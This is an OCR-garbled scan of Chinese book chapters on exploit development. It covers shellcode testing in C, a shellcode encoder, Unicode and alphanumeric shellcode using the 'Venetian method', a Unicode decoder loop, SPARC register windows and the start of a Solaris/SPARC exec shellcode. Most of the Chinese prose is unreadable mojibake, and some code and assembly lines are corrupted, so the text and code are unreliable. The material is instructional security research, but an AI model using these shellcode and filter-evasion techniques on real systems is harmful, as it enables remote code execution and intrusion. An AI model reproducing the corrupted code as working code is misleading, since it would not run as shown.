KR T AR A AEIR M . LIt (R Z S T ABIRII R, FTEL
BATAT LA QERE A MY F BRIt TS ROBAR . EDTHR A BRI BEMPX (0FFk, EsTRMERME

PRI Tk, RATEEMK M —NFHBEAL, REME0xel, ZEBUL, RFALN
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ESRREEATY, FREoxel. BEREGANEsT, BB, HEMALE, HBME
P REIFAF. Rill, ZNFLBLSHESFHARTE. 07, Bk, RIOIBERS—MF
WBRREE, ERENE RENTE.
F—ANRER, SRHEEpTMESTERYIE R IERN . AL . BROE? 1T,
RAVATE PRI A Z AT T HIRI R B F A58
jmp B
A: dmp C
B: call A
C: pop edi
add edi, 0x1C
push edi
pop esi

AT ) LA TR A B AT HAT £ (E1p-1) Hodhht, 3 Flep1#7478%, AR, eprin boxic.
BUAE, EDIIREIIFMMBLERLAMIDFIF . X EELRINBL BB RIDITHR T, -2
BNERJE T RMTT . KR, SOERASRR, FUPRREEIAT, HHOEA DS fshellcode,
IB[El%, HEEDTAHIEIEST. RATKITESTHE N EID/E B MISIH A — BIFBBAERMFHR
Fe, RBCHAERR, SEERATERE OBARAED . BAEFT BRI R IURF R BFFHE—A “F
TRMTR”. PATFIUE, R LR B AP R 855 2%

#include <stdio.h>

int main()

{

char buffer[400]="aaaaaaaaj SA9E
"YARRARAQHCO0OXS5C7wvHAWPhO0a0X527MGPhO "
0c

unsigned int x = 0;
x = &buffer;
__asm{

mov esp,x
jmp esp

1

return 0;

)

SEAC IR M IR A GRATD, ARSI EIX BTN RN . BHX TR e, Tl
TG B2 ARG

#include <stdio.h>

#include <windows.h>
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int main()
{
unsigned char

RealShellcode[]="\x55\x8B\XEC\x68\x30\x30\x30\x30\x58\x8B\XE5\X5D\xC3" ;
unsigned int count = 0, length=0, cnt=0;
unsigned char *ptr = null;
unsigned char a=0,b=0;

length = strlen(Realshellcode);
ptr = malloc((length + 1) * 2);
if (iptr)
return printf(*malloc() failed.\n");
ZeroMemory (ptr, (length+1)+2);
while(count < length)
{
a = b = RealShellcode[count];

b=b > 4;
a=a+ 0xal;
b=b + 0x41;
ptricnt++]
ptrlcnte+]
count ++;
}

strcat (ptr, "QQ") ;

free(ptr);

return 0;

}
9.2 A{#M Unicode B33 28 5 MR D

Chris Anley7EftiF %16 3 Creating Arbitrary Shell Code in Unicode Expanded Strings # 35 — %
HE) T @ Unicode i i I AT 4T #£ . @ 3CR R F 2002451 A Chttp://www.ngssoftware.com/
papers/unicodebo.pdf) .

SXRICHAA T FISER bR Unicode (F=HHIBLRUTF-16) MINLALA: Mishellcodeff) 7 ¥,
AN FRFE AR, R Chris R SCREX A AX AN EAM T HERANE, H
AR BN ARFIR N A — 2 R, AA AL MG R AR T X8RP, JHRHaTeL
Akt o IX I 4Y 648 ChrisHR 4 Venetian Method i 7 i RIX AN 77 ¥4 1K S8R, 485 204 & RV BRI
HAFM IR BOEI7 i25e
9.2.1 ft4& Unicode

FEVEIRZ AT, BRATSE T W4T KUnicode My 3EAHAII . Unicode /AT 166455 (TIAESAL, M8,
PR LRIAL, M BASCID FR— M FRMIPRAE, BT SR E K FRAN, BN EBARAE.
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S HUnicodebRAERHRME RGN 5 T HAITIR S 282, WA — MRS M Unicode, H4
EANRERGORBRTES W, FRAESOEAH ARSERESHFARGRENT, TAL
EHHRFR MRS, WX/ Unicode REAE A Roman 774, AR L EHToRIF RN AFFR
%. fERomanFHAM T E, HAFRMASCIMEBHTE— 2 7 HW/EH R B UnicodefER . #1
, ASCIFHfa, H+NHEHIKIEoxa1, MUnicodeFrmit0x4100,

String: ABCDEF

Under ASCII: \x41\x42\x43\x44\x45\x46\x00
Under Unicode: \x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x00\x00

[AIBt, Unicode' #3 % AR 0 AR, T FRAURM 77 8 P2 7 &AL i,
FEASCUERF (BIIPXBBICFHR) WHEFY, FMFHKI6MHBEAMEMNT . £ Windowssk
HERGEL, W MASCIIT-FF 8 f6 45 W B RAE W URPCIX A I Ph BB AN, B F

Unicode.

9.2.2 M ASCII $4 Unicode

FERJZ, KRR RET AN GEMHTTP) (A IER MASCITR #. X
e R B B T BEAE AR (f Unicode, A TR ZACISRIR S 12 FF e AL T EAT.

{EWindows#E R4, i $MultiByteTowideChar () HIASCIIF FF i 8 0 M ) T F
#. MR, wideCharToMultiByte () ¥(EUnicode i B4 R S MASCIIF AT it o fithi
KA RIS FRARIE I AT THGR T N %A 9 #4587 AimuleiByte-
TowideChar () I, #RIFAERMAT I, —MSLLET UHBRELAFM 6. Fil, A
ANSURFZTT (cp_ace) X AMEHRE M, SALIoxenHld R 7 FFiox3920. MR,
SUHOEMARESTT (cp_oEM), HB4 0x8BHF iR 0xEF00,

TRBSE, A R P HOARE TN KR %4 Unicode i MO BARARTI A IR KRR M. AT,
AL B ASCIF AP R T TR, FUR M M L2 2 It AR R HERIA. (oxa1) 2
H0x4100. Btk 244 3F Unicodeht 28 ph X 9 t 5 HVHR BN MIBARRY, Se MR IASCIFAF
HIBIARTE R B RS0, SR 3K, ARAORFIRA K R B R S — I T .

74 Unicodeif i 44 /& B Ao A5 72 400 P16 R B 40, EARAAARSo L 69 AE, AT R
R, dwstrcpy()Aestrcat(), FAAREM FUnicode, CMA FNHEFHUA, o
wscpy () fewscat (). #97, JoRALM 6954 $ K AA I RRM, & Z 4RI Homlti-
ByteToWideChar () #WideCharToMul tiByte () ARE- & 5| 4 7F K th 9 W oh. 1hdk E R3]
Unicodeté X AL % #h ¥l o

9.3 ##& Unicode i@

o T WiR Unicode 8 b X Wi tH, - JRATI 7 258 AR BRAT SRR AN AR IBON T P RS R B X A
5. KRG AMRIRREEE, SRR Unicodeilt 5 (RAF (138 AL sk 57 AL AT . i, fn
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SRAE0x003100044 RIUEMIX, ABIkAF H 0x00310004B 5 (RFF VIR [l bt/ 57 4 AbFRRRF . IR
—AFEBROUE T ARG M R, WRRAEET), RRFAEZE Unicodeft
AL TR S “BE 7387 R “WHIR AR BN, Hit, W Renx#FAFEERA
BRAMBEMIX, A, WRERFIEEx00770058MlE K F ] jmp ebxdi 4. WRIFMIETEL A,

SR REAE Unicodet AT Mk 4 KB jmpHicall ebxdfi4. HETFIRMG:

0x007700FF inc ecx
0%00770100 push ecx
0x00770101 call ebx

RATREFF 0x007700FFE S (R A7 AR [t/ 52 7 AL TRARF, BR AOBAT Dt S B0 A
Mkt AKX BELEAATR, Bex¥il, A, WNEHMesdEriiat. aMH R %
WX B AR ERAT. XAHEIAZ WA, AEGRITCHE. MRfEcall/ &
BRQZMTMRMA LT RV B, BaeHeT.

B RBUE FI B P R R X 77 i, AT R, FRRENAREE X AL
SR AR, AR TEMIE Kb Venetian Method £{2 6 A T XMk JR3C
HABERAEE X EARBIXAMAL
Unicode #2732 AT A MRS

Wi UnicodeliRS, BATHIRIGLIVLIXFER: HAFRHB A TIREME, Hib
BRI RIS, XHREWR A A RKES. XUnicode BMFFRA KB, TLUER
RS RAL P L84, Bifpush. pop. incHlidec, ATLLRM FHRMEL:

an00nn
8

mul eax, dword ptr(eax],0x00nn

18 h & AT LT A6

nn00nn00nn
-

imul eax, dword ptr(eax],0x00nn00nn

WAEE W T IR M IERL

00nn00
X, PARF RS PATRME, W PSR

00401066 50 push eax

00401067 59 pop ecx

AR UAH00 nn 007G FHrnopsh IF, A E M A ILIEK Unicode. #1101

00401067 00 6D 00 ada byte ptr [ebp],ch

AR, BARIMAE XA 7%, esp R ML BARTEE . WRAFERIER, R
HARINET , AVRWITRE I E. MICKFER L Mk ElpushAlpopZ [T, 8]
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00401066 50 push eax
00401067 00 6D 00 aad byte ptr [ebp],ch
0040106 59 pop ecx.
A T s Unicode:
\x50\x00\x6D\x00\x59

9.4 EMEE

EASIIL, AW REE SRS ST RNBAR IR B . A, RATGEHET
BEENR? AR AT LLRX AT PR 1 R G — A BUEMBARURS, B4R Chris Anleyi® 3O R itR
BRI XA A ERE MU “ERRE R R, UR—NELH ¥
SUEBARARTSE B A9 IX XA R I EBARES AT R4 H . (UBHRIES
SRS WOBANRGS 28 40 QI R B AR AL BT R B RIS T B i X LI A 7.

B—APIT . ERMSHTRIFEHIITH, H K R:

\x41\x00\x43\x00\x45\x00\x47\x00

MBARRTEITR TN, EHoxBRE - PEF, 83

\x41\x42\x43\x00\x45\x00\x47\x00

Bedi, T—AZEFWHoxeatis, @3

Ax41\x42\x43\x00\x45\x00\x47\x00

WSXAGRAE “HIEN” SI)REARRA R,

A\x41\x42\x43\x44\x45\x46\x47\x48

W, BARRGRA LR, BT LUK TR E .

MR BELBE LM, BARRE BETFH TR, EORE—MEREIFENK
M- NI, BB —ANETY, BN TSR

00401066 80 00 42 add byte ptr [eax],42h

oxa2/ Lox00, 1RIE, MFloxaz. K THE F—MEFW, eaxBABBMAR, Wi
CHAEBETE . (A, XA S B0 — A RAR RS T ZICIE M Unicode, BHBE, BN
A S noptZE. T SIBIIBMAN, RERE FFIRM:

00401066 80 00 42 add byte ptr [eax],42h
00401069 00 6D 00 add byte ptr [ebp],ch
0040106C 40 inc eax
0040106D 00 6D 00 add byte ptr [ebp],ch
00401070 40 inc eax
00401071 00 6D 00 add byte ptr (ebp),ch

& T M B2BICEMBARIT, ROVET16B BMAEFER), HH14B IARPH) £
4, 2B UANRFH) ATHMH. IBELEANENKET, HHMBHBMES BEBTL
Rl

ChrisfffRE BN GHRENB, KR MEA, EhFE— R RIHHoxs0. WR
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TCREARARIDAE A ASCIIFAT B RSN RS, SRR Wl BRI B H B Unicode, HURFHRHAE
BT, XA F A RRRA - Besh, AAToxriEt s e, RERFEF G RE,
AR T RS WBIR, NTIAREN T, b THXAN T8, RMNFBECR A Hox20
Blox7rZ MW IMBARGS 8. I MBPINER LR FRRYE, WANERIFARS, &
IR BVRFRRALER, M WBRIR . B L. T IRERD), RIS EAXEE
5 th A .

ASCII B & A48

RAVAE SRS A B v B 77 3 M Unicode BTV TS, R IRRGE, WTLAZEIEATIERE
1 U fRoman ¥ f4 % (Romanif B4 5 #) & MWASCIT BB FABIERIRI. EHIL
A RARKD (77 85, BRCRERAE: ENTAE AN FHRR—shellcodeF15. XEAHH)
THERERNOTE, HE @ k2REHARTMASCITER, THARDHFIE. ek
BRRREBRLRZA, TELRE —LRE. RNWELecxBVIRR BNEHX KB —NEF
W, BWEEMox0MAEIRTN, Box39MAEEDX (%FF beEpL) B, #Hloxe9MEEBx (LR L
fEBL) B MR BIX SRS TIIR, Ao, —UIEBIMERA. b THGWH
#—L, RAVERLEN Mnop GXHEEHadd byte ptr [ebpl,ch) WTHMKBERIGE

BET:

0040BSSE 6A 00 push 0

00408560 5B pop ebx

00408564 43 inc ebx

0040B568 53 push ebx

0040BS6C 54 push esp

00408570 58 pop eax

00408574 6B 00 39 imul eax,dword ptr (eax],3%h
00408574 50 push eax

0040BS7E SA pop edx

0040B582 54 push esp

0040B586 58 pop eax

0040BS8A 6B 00 69 imul eax, dword ptr (eax],69h
00408590 50 push eax

00408594 5B pop ebx

BREcxBE THRAB— A7 (ROBGEH LX) Kkt XBABELE
0x00000000  AHRTF, #AJE3 i ElEBx, EBXBUEMIME N0, EBXMUGHAALR. FTR, RN
SRR M AL TEAART, ARG 9t Bleax, BREEAX-P{RAFHZ LI PIfFuhE. BR7EA ox395178
Flox39, XAMLRURIFIEEAX, MEEAE, #eATH i FleDx, EDORTERox39, HRHEME,
EDXI¥E8A 7 47 DL R 0x39.

Hpush espfit 4 FHUELINMIIE AT, #R/G# tH BIEAX, EAXSURAE T 1MW 7k,
0x69%1, XAERIRFFIEEAXE, ASFEAKL, SfthFlesx. eBX/BLILIEMMEOx69. X4
BRFox7riF i, BLAIDLKFF MR (T SR E M W EN SRR, AT HRERE
KB, BAVBET B foop, W
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0040B5BA 54 push esp
0040BSBE 58 pop eax

0040B5C2 6B 00 41 imul eax,dword ptr [eax],4lh
0040B5C5 00 41 00 add byte ptr [ecx],al
0040B5C8 41 inc ecx

0040B5CC 41 inc ecx

fE, HRTIRFF MR 0x00000001, RAMEIAIMAENR, /SR B EAx, FEit, Eax
PERFHRLUOHEE. Him i SIERAVES QMR EXFHR T Roxdl. EaxBIZER
0x00000041, FTEAALREOx41. BRAHEE SecxifMEFHHM Gatt, REFH, FHit, Hoxal
m_EoxooRt, #Hoxa1), XKMAT HMBMB— MR, RFeca¥AmR, PtEEss, #
ECxif i F—AEFY, EEXMNERE, HEEHEME.

R, WRFBEEG—ARToxrlifl, SREMAR? RAVFHEBLADLER ERIEEH.
FEUFTR R G AT R T AT ST L — ek

BB 0x7r Bl 0xar Z (Al F R EAEIHE T, HIM0x94 (xchg eax,esp), Mii%

FTFHIRE:
0040BSBA 54 push esp
0040B5BE 58 pop eax
0040B5C2 6B 00 5B imul eax,dword ptr [eax],5Bh
0040B5C5 00 41 00 aad byte ptr [ecx],al
0040B5C8 46 inc esi
004085C9 00 51 00 add byte ptr [ecx],dl // <---- HERE
0040B5CC 41 inc ecx
00408500 41 inc ecx

ERXELREM A, KIoxSBEANEFY, R/EM EDLEMIEx39. 0x39/ EOxSBET
0x94. MUfEHR—TF, Minc estREHEASH Minop, B GEcxPil 2T Eox39m E— 4k
BEH.

LR oxar Bl oxFE- i) (M M B F A, Hlimoxes (rer), AT FHUMH:

0040B5BA 54 push esp
0040BSBE 58 pop eax

0040B5C2 6B 00 5A imul eax,dword ptr (eax],5Ah
0040B5C5 00 41 00 add byte ptr [ecx],al

0040B5C8 46 inc esi

0040B5C9 00 59 00 add byte ptr [ecx],bl // <---- HERE
0040B5CC 41 inc ecx

0040B5D0 41 inc ecx

ERAMIT R, RAVMAREGIN, RAX KRR FIBLitoxeo 51X F 15 Frik it A
Bhe X EHECXTERR, ECXMEFHIR N 0xSA. 0x5AM Lox69%F Foxc3, FTLL, BATEH T retiid.

R FE ML 0x00F 0x20 2 8], LKA ANE? FEIXFBL T, R H MR H XA 7
FIE . WA ox06 M B EFHA (push es), IAFHIXFEHIARTY:

0040B5BA 54 push esp

0040BSBE 58 pop eax
0040B5C2 68 00 64 imul eax, dword ptr [eax],64h
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0040B5C5 00 41 00 add byte ptr [ecx],al
0040B5C8 46 inc esi

004085C9 00 59 00 add byte ptr [ecx],bl
/1 <-=- BL == 0x69

0040B5CC 46 inc esi

0040B5CD 00 51 00 add byte ptr [ecx],dl
// <=-- DL == 0x39

0040B5D0 41 inc ecx

004085D4 41 inc ecx

0x60/0_E0x69F 11 L0x39% Fox106. {B—NFHAT MR B A Roxrr, Fik, XA
FAFEREH, Aifi A% T ox06.

HEFIAEox20 B 0x7FIEE AN, AT LARIXAN T AR Y, 705 7 LU %41 finon
e P —— LRV A AT S, fll, BRAEZFHRxCI (ret), BH
RHEERA0xsA. SEFEFHZARBLFHN, RIVEHHRENHSE =M inc eoxZ AIHHX
e, AL T U

0040B58A 54 push. esp

0040BSBE 58 pop eax

0040B5C2 6B 00 41 imal eax,dword ptr [eax],41n
0040B5C5 00 41 00 add byte ptr [ecx],al
0040B5C8 41 inc ecx

// NOW ECX POINTS TO THE OXSA IN THE DESTINATION BUFFER

0040B5C9 00 59 00 ada byte ptr [ecx],bl

// <-- BL == 0x69 NON-null BYTE NOW EQUALS OxC3

0040B5CC 41 inc ecx

0040B5CD 00 6D 00 add byte ptr [ebp],ch

SIS BB M. A — B RATBIRARATH A F R0 ?

9.5 FMARFAIFEED

PtE, BATET H EMRomaniMR S 8, EFES th—MF MR, {ERomanB#F SR
B AR BARRTS TR, B AT B A AT AT R, RO R 1 42 e
Bo RAFIIBRRINEIE ARG S B EI — NN FFD A8, X RES 82 Unicode B A IR,
FH AR BT BRI UnicodeFER. (BAITH S fiwideCharTomultiByte () ¥, XA K EIEHN
REEAUN

BATKHE M % (Venetian Method) 4% H S ffwideCharTomultibyte () E¥, R/FIE
WERBRAFBMEENET. XENFNREATER? BRRAERTHERRELR:

A\x41\x42\x43\x44\x45\x46\x47\x48

PARRIFN, FHX LY R Unicode 7R :

Ax41\x00\x42\x00\%x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x48\x00

R, SRR

AX41\x43\x45\x47\x4B\x46\x44\x42
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EHER
\%41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
Ff, BATE EEMwideCharTomultiByte () PRI, WREHEE\xa2, BEBIE\x4LF
W. RE, HEh\xaaF\xa3/5H, % HIER.
\x41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
B3hxa2.
\x41\x42\x43\x00\x45\%00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
B3 \xad.
\x41\x42\x43\x44\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
Bah\xa6.
\x41\x42\x43\x44\x45\x46\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
Bal\xas.
Ax41\x42\x43\x44\x45\x46\x47\x48\x48\x00\x46\x00\x44\x00\x42\x00
IXFERRSERL T Unicode 744 1 769, 381 T B MIBATRES T .
9.5.1 FMFHNRT
REZIBIXANF L8 E AR A SR, MO ENAEEN A . XA AT — B RAEA DA

EDTAAF BRI R ER AT RS — AR MihE (FERXFHEIL T £ 0x00401084) « FFLER
KAER0x23FH, B MFIEDT, FLEDTIAENLFI jne herefi & MG X UnicodeF#F

HRBIRINHTT .
00401084 83 C7 23 add edi,23h
00401087 33 CO xor eax, eax
00401089 33 C9 xor ecx, ecx
00401088 F7 D1 not ecx
004010BD F2 66 AF repne scas word ptr [(edi]
004010C0 F7 D1 not ecx
0040102 D1 E1 shl ecx, 1
0040104 2B F9 sub edi, ecx
004010C6 83 E9 04 sub ecx, 4
004010C9 47 inc edi
here:
004010CA 49 dec ecx
004010CB BA 14 OF mov dl,dword ptr [editecx]
004010CE 88 17 mov byte ptr [edi],dl
00401000 47 inc edi
004010D1 47 inc edi
004010D2 49 dec ecx
004010D3 49 dec ecx
00401004 49 dec ecx

004010D5 75 F3 jne here (004010ca)



9.5 #BEAEH 173

FEX Unicode 74 8 PERB 2 i, HH08RH EAEH RN FHHHKE. mRXMUETRE
WEEEEA, BAXNFRBTURERKE. A THATHEOKE, XBRABEOHE
NERFRR IR MELM TN, B, B EFHHL L Unicode F 7T . EIBITHIER
if, TEFRiEnerefiit)y, ECXWAFHEMKE, eorffFHEMFF L. R, eoniii,
A —AEFW, soxiill. BE, UecxBMBIEpTR, HiFHFHBARMOFELZFN. R
J&, BAFEFHHGENBEDL, AR BEpiikaME T . i, soxifiple, U
ATHEER -

EDIHE ) FAF B P AR R, ECX/Z0, Unicode7HF FEFHREB TR RE
FIE, BHTEF, FHit, RAIE T —YOELRRG. SFRIRGHN, 5RO
REDAIBIRGNAT, XAV T Sne heretti & 25 BIRIBARILH .

7ESFR S Roman MR SR 2 1, B —LHEHELE . RINFE MRS X Mk,
FHBHRERME, —BERX MRS, EREREEXAME, e EmBEEIFALT
F(d: 2
9.5.2 ZFEGM Xkt EESL

I8 IR B G M SRR AL A TR 2 BT, IR PR S X 2%
RATH B E o A A RIS, B, AFEIERCXB BN . B AR AT L
fEH, EEEFFBRERARMNK . BE, BR—AFERLET—MEREHREHRE i,
EAXH ), RAVRIFIREEAR, REHH BEcK.

push eax

pop ecx

AT, ISREH T AERR X, AR AN SR ZE A AE P RORTBR AL, AT LU T
AR, REMR, ROAEELE (Mih) SRR, #llioxo0410041, RIEHEIFT
e

push 0

pop eax

inc eax

push eax

push esp

pop eax
imul eax,dword ptr[eax],0x00410041

IXH3E0x00000000 N, MIEHHFIEAX. EAXBIZERO, EAX#NI1, RFEEAR. R
BRAERE0x00000001, Bf/E ATIEARTUMIMALIE AR . R/EH i Fleax, eaxBltEfERL. RATIES
X AL, KRR b, X AR RO X A Bleax. R ML, BRF AR
4Tmov eax,0x00410041, PN 1EIX A4 /5 M HIHLASHS 84T Hl Unicodef¥ X o

—HG X bk tEraxh, BIRTEE R, H#BlEcx.

push eax
pop ecx
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RETEARE. RIERSFOEREBEALTBAEE . ZWCLRAT BRI
SIFRENFER.
9.6 I

AENET GBI LA LRI 2RI G0 L EZ AT HASCIF
¥, B T E M Unicode RAAR. — MU, IXERFHINGN “RTBM”, ER, ELift
FLIERR AR, BNk — ROy, EAISERE LR LAEARE .

BATENB T BRI 3828 D K Roman SR 4% 5 88 1) B M & 77 ¥k FUFIIL 3828 °T LABAR 77
FEUnicodeXd ¥ 28 (K194, U 1 vt 8 77 6 7T CAREAR T 4T ED Y ASCILF R
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KBTI LI, Solaris 3 3¢ ¥ 34 (Y Web iR 4 28 RIS FEFR -8 . /R Solaris

‘f Intel RATAE, HAKEH(KSolarisiERIBITESPARCRMZ L. FEAR TR SIHA
SolarisffJSPARCIZ A |, &R Solarisf) B EENRZA . Solaris?E LARTHFRHSun0S, HRXFEMHIFR
I ENIHA SR T, ER RIARAZ2.6. 2.7, 285129,

LA ARG TAEBR A SR 0 T RIBGLE AR SR, Solaris OV 3 EE T KR iR13T
FRWTHRS, B0, BN Solaris 9 il TIE20MRPCIRS - BIAE, 7EMI%E LT LI AR
WiSolarisfi0F%, XALFBURAERPCR A fEL RRE L MWF .

JLF-Bi# i) Solaris RPCHR 45-# th BLid R i (sadmind. cmsd. statd. automountifiifstatd.
snomXdmid. dmispd. cachefsd®%), R T Wil inecall i M EBH R, Wrelnetd.
/bin/login (liftelnetdfirshd). dtspcd. 1pd. Solaris?EBRINREA TH AR #seruiafi
S, Bk, fEIERAEAISolarishl, REZAFMHR ST ME .

248, Solarsth WHE T~ AThAL, WFBAFEMK. HITHAEOETHRITR NEER
HISLERAE, R RIXAETURAE ), B SRR T —eRE LR .

10.1 SPARC ik R&MNE

SPARC (Scalable Processor Architecture) &/ Z I MIBEFEF-&, XfSolarisf) S FFAEH AT .
ERATHSun AT TR, FEREFWER—ADFRMAAE. EREGHEMEA (vAVS), #HR32
frf, 28R, BFHIRRA (v9) R64{Lf. SPARC v9 4B BIEMALMIERRBTMA S, AL
SBAT64L R 32RIREFF o

UltraSPARCARFE 8% F Sun /A 7 fISPARC v9, Eﬁxeﬁmﬂ&#mnts-mﬁimiﬂhcw
S LRI FISPARC vV, RTEIUVMEA FIBATHF . Solaris 7. 8MOMIIFF6ALL M EL, AT
LUZAT64 0L P BRI, AR, K23 P B R AP 2 U320 AT Y o

SPARC AbFRARF32NE M #4728, BERTATLAEAT. b —BARm AR, MTHHRES
SRRBFEF R HEATE, RAT-BIERADFERIRAK: LRFESR. RBHFSE. WAF
TR0 A7 A7 28

9eB5 b, SPARCHAR A5 HIREbig-endian, REBRAT ¥ Se4 A 77 B A A N RN HA T
& ERRSKERERZEK, MEAFHK, FHRIRSUIFIHTRITHF, EFAERHFE

Solarisfi#ENI ]
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Mtk ESAT AR B EusHR: IR, IESEMARNF AL $ B Bus# BRI R~
JE .
10.1.1 FESMNEFERTO

SPARC CPUTRI# i %47 85 B BT LACE, HEM¥YRT B RkeFHFSEEa. —1
AR B BRSSO B — L A7 88 4T A 77 28 B D48 EHlliE saveRlirestoref &3k
sk . EEAEFF IR RN BN SPATIX B AR IEL

saveff &R HATH A BE O, WRES R —AFMH7H; restorefR S EFHMTHA
FEREN, WEAERAANOEIE. T MAsavelfd Xl RHEARRBAETN, FHrestore R
ARz .

Kb RESMA, ERWITsaveRirestoretid, MAREMBILREFHH (300~%97).
BARREHFBIGOKTRE. BANEHERBRIMESR, (BTSN TS BT ERIERIE
FARBREBAE . BT sg025b, BTHINLERGHERLEHMR, K012 RAENA.

JREMAHAER (s10~%17) N FRAMRBCRER DI SIHEAFFRE DN M5
RERWS . RBF BRI AR, RFHTUMBMEE. S RHBETUERE.

PATsavel!, HHFFE (800~%07) WHEMAFFE (310~%i7). WfTrestoreks,
PATHIR AR, MAFIE B BEMINFIER . savellil — N RBMMA TR D FEBE
F— 4 I EMRAE

TR MR AFEE (310~%i5) MARMBM. BIMHENsc0EsosteiBRY, LIIT
savelt, EfIZEMs10~%i5. HRMWEA U LMSHN, FOIHSEFELRMES. BHY
BEEAFHELERI0E, PdTrestoreltHHro0.

%06 % FF B AR 4 vsp A id, MsieRWisRétsep. SavelRAT—MRBFRIMHE, ER
TREHERWIHREHRIE, restoreff{RAF AR RS EIE FR MM .

ELHBARBMFHENBA T Bo7Mei7, AHATREFEE . $iTcall/F, EFEIMHE
BRAFtER0T. MM AT savelt, XMEREERE R 2B HIB%i7, CRIFEBHAT —MEER
restoredj ik, EIXMUBHHIFIMAFFRLZIE, soTRBR—MPEARIMAFERT . BY
N/ 7 B R R B R WK 1020

#10-1 LEHERRAME #1022 HEBRSHRMAE
® 7 B & # B B iR
%90 KH0 #i0 B MEANEBEN, BEH
gl i 7 Bl *1~Hi5 BEAEBAMEAMREEH
g2 MR %16 Wil (RAF MRS
a3 & g2 7 JGEIHE
g4 A JAERI o0 i) K
895 R #ol~%05 WEAERA TN BB Y
g6 R o6 At

a7 BRET hadd REAEA2ZEQEEREME, FWETa% BN
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KT @, #EF10-3EF10-4BH 4 T saveRirestorefitE M.

#10-3 saveli SHIER #104 restorefi THINR
(1) REHFH (s10~%17) ERFIBE DM B BRAT ) MAFFBERRH TS
QWMAFAFE (vi0~si7) EAFFERE 00— RIBEE @ AMREHFFRE O RAFRMBATHS
Q) MIHFFE (300~%07) BERMAFEE O) WREM B BU NEKEFRRNRBGEE
(@) BB R BOR MR AR @ ENB—SRAENLR, ssp (306) Bilnep

(%16) , TR BEER 220

%t Fleafdit CRIAIHARMNEYO, SHiok8T LR R HITsaveirestroeifi S, L
BEXEREBROTIR, HERAF SR ERRDBNIES, DAEHHFEBEY
5.

EFTHSE MISPARC CPUMSH e U FAE BB O o LA TR R, FIKGAE R

COINWAER. SHEBWOHRE, REMAFEBE ORRE, HXOREBEAR, §%save
RAEAER LRBOBHZN, EBERNBAREARSERRBAFEBONE, HR% E
TS, B RAK RGBT, B S 0 O TRARE, NTEEES
EEETE T 9NN
10.1.2 RIS

FIHA M RLEHIINL, SPARCARATS X VHFIERBEE IS S0 AT ERM. ERFHIT
ME, HRA SRR RN socREAEH S, B SAIMES: snpct TR
T —%i04. SRITHXRMAHSH, HEOBAENR S snpcli Ftpc. KSBERIT
PRI (3] F ML 2 W, 4 SCABTZ JG 10 & BEBAT o

0x10004 MR %00, 0
010008+ BE 0x20000
0x1000C: ADD %01, 1, %ol
010010 MOV 0x10, %ol

EXMITFE, WRs0RAFE, 7E0x10008MI5 STHBRM . Wi, ERIDXA T,
0x1000cAbAIFR S HAT . HFIXA Y AL 0x10008BAT R, 0x1000cKEMITRATIBEHAT
BATHLLEFI0x10010. WR—AMLWIN, HIWBE, A address, IANUVERAIRAMNE
i, A SPATIERMAIES . RE K EMLYWSPARC EAGHATIRE, KT, BMERD T SR,
R LB AEREA].

101.3 BHES

SPARCE A IR R IR L BRI, RERIMIBLMH S FAFHENHLEHR
4B, BTk, BEMRAKBST2AMMBRIFFR. TABHE, callflret#MRA RIS .
callEHERHI R mpl address, %07. jmplE-—MEREMBEE, eI YT MEHAOHER
FAEHARIERR . Hlcal it 4nd, HMBEHRAEB07. ret Ukjmpl %i7+8, g0, [H]
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BRA R E AL E, BB NERE S0 F 7S, TXFFREENT.
Leaf R¥FHBIMARIESrec LR, BAENRLRITsavedirestore, Bk, REM
HE7E%o7H. retlRjmpl %07+8, $gOfIFI%.

10.2 Solaris/SPARC shellcode i

SPARC | ff Solaris il F At FYUNIX $ fE R4, MAVMHE XM AL WARED .
ARCF-& L MAMF & LNERE, —Btb A RGE A TR A ER
¥, W_E4 A REISolaris/SPARC shellcode, KE#ife T RBLE. MBI AR PR ERK
AREDER R TR H 0, 76 b # E °T LLR B 438 Mshellcode . #ATT » W1 R R# H B © Fshellcode,
IALFRARATEF A ARHEREIR.

RYOBIT IR0 RSB IR ARG . AT, SunOSEATR A HBHOTF e R LAY,
FURBE () Solaris AR A A BURIEBES. REWA BB LRFHFRswIE. EAEFNRK
BH, HTMHRLGEFA SRR A FRso0Blrosteidy. RKEHRGWHNS
H—REOFA, BHLRRTRBEA LU LOSY, X, —FEEARRERXLH
HEH.

10.2.1 BE{LF0 SPARC shellcode

HTBIHHSATRTHE, SHshellcodeHMHE—NMENFFEREN A CALER L. 7B
TR R T R IS RS A —354), 7 VT RE AT LB S A, I B Bk Z R AT
bk, 1Ex86 1, LB AIcall/popth 4 Xt AT LIBHASE AL B SEAL. {HZESPARC L, 1 TERM
WFERE, AR T i Sshellcode L HIBLZF A, FiitMmMES B AL,

F1f 1454 fshellcode f{I 1B BN 25 7 8 %07, EAHIKIBHR, CLFESPARC shellcode R
WHARBET:

(1) \x20\xbE\XEE\XEE // bn, a shellcode - 4

(2) \x20\xbE\XEE\XEE// bn, a shellcode

(3) \x7E\xfE\XEE\xEE // call shellcode + 4

(4) shellcodeffi3 RN

X ANbn, af B BEKR Mbranch neverti 4. BATEL, KLL4 AR MR EBER AL (branch
never), XARKAFEEMS MBI . cal iR ICE ROBERBEE, HIE X4 NTHR & BB RIGAT
fltERS07 R o

_ERFABATHIUFRA), 3) @) () @)

KBRS S Bloal 1R & M AL BAR T ER07 B, {ishellcode ] LUERLEZE WA R FHF

10.2.2 & ##9 SPARC exec shellcode

KR4 sellcodefti & H (1L BAT fr & 1Tshell, JRJE Mshell B 5e Ik 4iH . FiMH— L
WG ‘BAI1#ESolari RC_E#4T /bin/she
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B SolarishLE L, execRAMAWRHET11, EREMNMSH, B ITREAERITEH
IULR R, BOAR AR L RR A, AT REFEE. XFHNBR
{RFE(ER00MIR0l, REWMMMB SR g1, T H Hshellcodelfin T AAMRIET .

static char scode(]= *\x20\xbf\xff\x££" // 1: bn,a scode - 4
"\x20\xbE\xfE\xfE" // 2: bn,a scode
"A\xTE\xfE\xEf\xEE" // 3: call scode + 4
"\x90\x03\xe0\x20" // 4: add %07, 32, %00
